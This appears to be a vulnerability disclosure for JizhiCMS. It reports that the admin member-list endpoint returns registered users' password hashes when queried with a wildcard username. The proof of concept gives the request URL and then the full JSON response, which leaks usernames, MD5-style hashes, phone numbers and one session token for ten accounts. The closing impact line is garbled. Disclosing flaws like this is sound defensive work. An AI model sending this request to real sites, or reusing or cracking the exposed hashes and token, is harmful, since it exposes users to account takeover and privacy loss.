Description

The administrator can obtain the website user registration password hash

Proof of Concept

// PoC
Log in to the background and access: http://demo.jizhicms.cn/admin.php/Member/index.html?ajax=1&page=1&limit=10&isshow=&start=&end=&username=%

Package return：

{"code":0,"data":[{"id":"61","username":"ZZDX9X","openid":null,"pass":"2d8cc94a8c8b5ca7400969c5b2e572c1","token":null,"sex":"0","gid":"1","litpic":null,"tel":"18888888881","jifen":"1.00","likes":null,"collection":null,"money":"0.00","email":null,"address":null,"province":null,"city":null,"regtime":"1648703127","logintime":"1648703432","isshow":"1","signature":null,"birthday":null,"follow":null,"fans":"0","ismsg":"1","iscomment":"1","iscollect":"1","islikes":"1","isat":"1","isrechange":"1","pid":"0","new_gid":"注册会员","new_litpic":"无","new_isshow":"显示","new_regtime":"2022-03-31 13:05:27","new_logintime":"2022-03-31 13:10:32","edit_url":"http://demo.jizhicms.cn/admin.php/Member/memberedit/id/61.html"},{"id":"60","username":"Axn1DD","openid":null,"pass":"9de595425b319a61efcc95318cdd11e7","token":null,"sex":"0","gid":"1","litpic":null,"tel":"15789562587","jifen":"0.00","likes":null,"collection":null,"money":"0.00","email":null,"address":null,"province":null,"city":null,"regtime":"1648539542","logintime":"0","isshow":"1","signature":null,"birthday":null,"follow":null,"fans":"0","ismsg":"1","iscomment":"1","iscollect":"1","islikes":"1","isat":"1","isrechange":"1","pid":"0","new_gid":"注册会员","new_litpic":"无","new_isshow":"显示","new_regtime":"2022-03-29 15:39:02","new_logintime":"-","edit_url":"http://demo.jizhicms.cn/admin.php/Member/memberedit/id/60.html"},{"id":"59","username":"QyiOIa","openid":null,"pass":"4bd571a78aeb899aba77fe1ad590e274","token":null,"sex":"0","gid":"1","litpic":null,"tel":"13582257830","jifen":"0.00","likes":null,"collection":null,"money":"0.00","email":null,"address":null,"province":null,"city":null,"regtime":"1648532733","logintime":"0","isshow":"1","signature":null,"birthday":null,"follow":null,"fans":"0","ismsg":"1","iscomment":"1","iscollect":"1","islikes":"1","isat":"1","isrechange":"1","pid":"0","new_gid":"注册会员","new_litpic":"无","new_isshow":"显示","new_regtime":"2022-03-29 13:45:33","new_logintime":"-","edit_url":"http://demo.jizhicms.cn/admin.php/Member/memberedit/id/59.html"},{"id":"58","username":"jyTS2q","openid":null,"pass":"8ff55c3bae90d81fd564a35318fd7764","token":null,"sex":"0","gid":"1","litpic":null,"tel":"15758585859","jifen":"0.00","likes":null,"collection":null,"money":"0.00","email":null,"address":null,"province":null,"city":null,"regtime":"1648476870","logintime":"0","isshow":"1","signature":null,"birthday":null,"follow":null,"fans":"0","ismsg":"1","iscomment":"1","iscollect":"1","islikes":"1","isat":"1","isrechange":"1","pid":"0","new_gid":"注册会员","new_litpic":"无","new_isshow":"显示","new_regtime":"2022-03-28 22:14:30","new_logintime":"-","edit_url":"http://demo.jizhicms.cn/admin.php/Member/memberedit/id/58.html"},{"id":"57","username":"zVlBny","openid":null,"pass":"61729552fcaa50fa2d4592bb24502743","token":null,"sex":"0","gid":"1","litpic":null,"tel":"17608435374","jifen":"0.00","likes":null,"collection":null,"money":"0.00","email":null,"address":null,"province":null,"city":null,"regtime":"1648474122","logintime":"0","isshow":"1","signature":null,"birthday":null,"follow":null,"fans":"0","ismsg":"1","iscomment":"1","iscollect":"1","islikes":"1","isat":"1","isrechange":"1","pid":"0","new_gid":"注册会员","new_litpic":"无","new_isshow":"显示","new_regtime":"2022-03-28 21:28:42","new_logintime":"-","edit_url":"http://demo.jizhicms.cn/admin.php/Member/memberedit/id/57.html"},{"id":"56","username":"02G0Ue","openid":null,"pass":"21ea1daba374275989af105d3ad6a89f","token":null,"sex":"0","gid":"1","litpic":null,"tel":"15827996092","jifen":"0.00","likes":null,"collection":null,"money":"0.00","email":null,"address":null,"province":null,"city":null,"regtime":"1648262583","logintime":"0","isshow":"1","signature":null,"birthday":null,"follow":null,"fans":"0","ismsg":"1","iscomment":"1","iscollect":"1","islikes":"1","isat":"1","isrechange":"1","pid":"0","new_gid":"注册会员","new_litpic":"无","new_isshow":"显示","new_regtime":"2022-03-26 10:43:03","new_logintime":"-","edit_url":"http://demo.jizhicms.cn/admin.php/Member/memberedit/id/56.html"},{"id":"55","username":"dBI562","openid":null,"pass":"fc8e85de782e19e743748230f8b75f4f","token":null,"sex":"0","gid":"1","litpic":null,"tel":"15819106798","jifen":"0.00","likes":null,"collection":null,"money":"0.00","email":null,"address":null,"province":null,"city":null,"regtime":"1648216023","logintime":"0","isshow":"1","signature":null,"birthday":null,"follow":null,"fans":"0","ismsg":"1","iscomment":"1","iscollect":"1","islikes":"1","isat":"1","isrechange":"1","pid":"0","new_gid":"注册会员","new_litpic":"无","new_isshow":"显示","new_regtime":"2022-03-25 21:47:03","new_logintime":"-","edit_url":"http://demo.jizhicms.cn/admin.php/Member/memberedit/id/55.html"},{"id":"54","username":"WTLDQO","openid":null,"pass":"2ef4c3867248eabbd892ca950c69495b","token":"pxOwFCPb5TPnYF7wSnSGA0zwWSA9CeBC","sex":"0","gid":"1","litpic":"/static/upload/user/head_54.jpg","tel":"13800000000","jifen":"1.00","likes":null,"collection":null,"money":"0.00","email":null,"address":null,"province":null,"city":null,"regtime":"1648215075","logintime":"1648300213","isshow":"1","signature":null,"birthday":null,"follow":null,"fans":"0","ismsg":"1","iscomment":"1","iscollect":"1","islikes":"1","isat":"1","isrechange":"1","pid":"0","new_gid":"注册会员","new_litpic":"","new_isshow":"显示","new_regtime":"2022-03-25 21:31:15","new_logintime":"2022-03-26 21:10:13","edit_url":"http://demo.jizhicms.cn/admin.php/Member/memberedit/id/54.html"},{"id":"53","username":"o76Cfl","openid":null,"pass":"9e1ef08d2e5679e63bc0f6ecb62c6b7d","token":null,"sex":"0","gid":"1","litpic":null,"tel":"18511266331","jifen":"0.00","likes":null,"collection":null,"money":"0.00","email":null,"address":null,"province":null,"city":null,"regtime":"1648193311","logintime":"0","isshow":"1","signature":null,"birthday":null,"follow":null,"fans":"0","ismsg":"1","iscomment":"1","iscollect":"1","islikes":"1","isat":"1","isrechange":"1","pid":"0","new_gid":"注册会员","new_litpic":"无","new_isshow":"显示","new_regtime":"2022-03-25 15:28:31","new_logintime":"-","edit_url":"http://demo.jizhicms.cn/admin.php/Member/memberedit/id/53.html"},{"id":"52","username":"8IXH34","openid":null,"pass":"20955a8bcacc2e951947b7dcdacfa794","token":null,"sex":"0","gid":"1","litpic":null,"tel":"18219057799","jifen":"0.00","likes":null,"collection":null,"money":"0.00","email":null,"address":null,"province":null,"city":null,"regtime":"1648058958","logintime":"0","isshow":"1","signature":null,"birthday":null,"follow":null,"fans":"0","ismsg":"1","iscomment":"1","iscollect":"1","islikes":"1","isat":"1","isrechange":"1","pid":"0","new_gid":"注册会员","new_litpic":"无","new_isshow":"显示","new_regtime":"2022-03-24 02:09:18","new_logintime":"-","edit_url":"http://demo.jizhicms.cn/admin.php/Member/memberedit/id/52.html"}],"count":"61"}

Impact

The vulnerability allows the user to obtain the hash, but the user registration is not allowed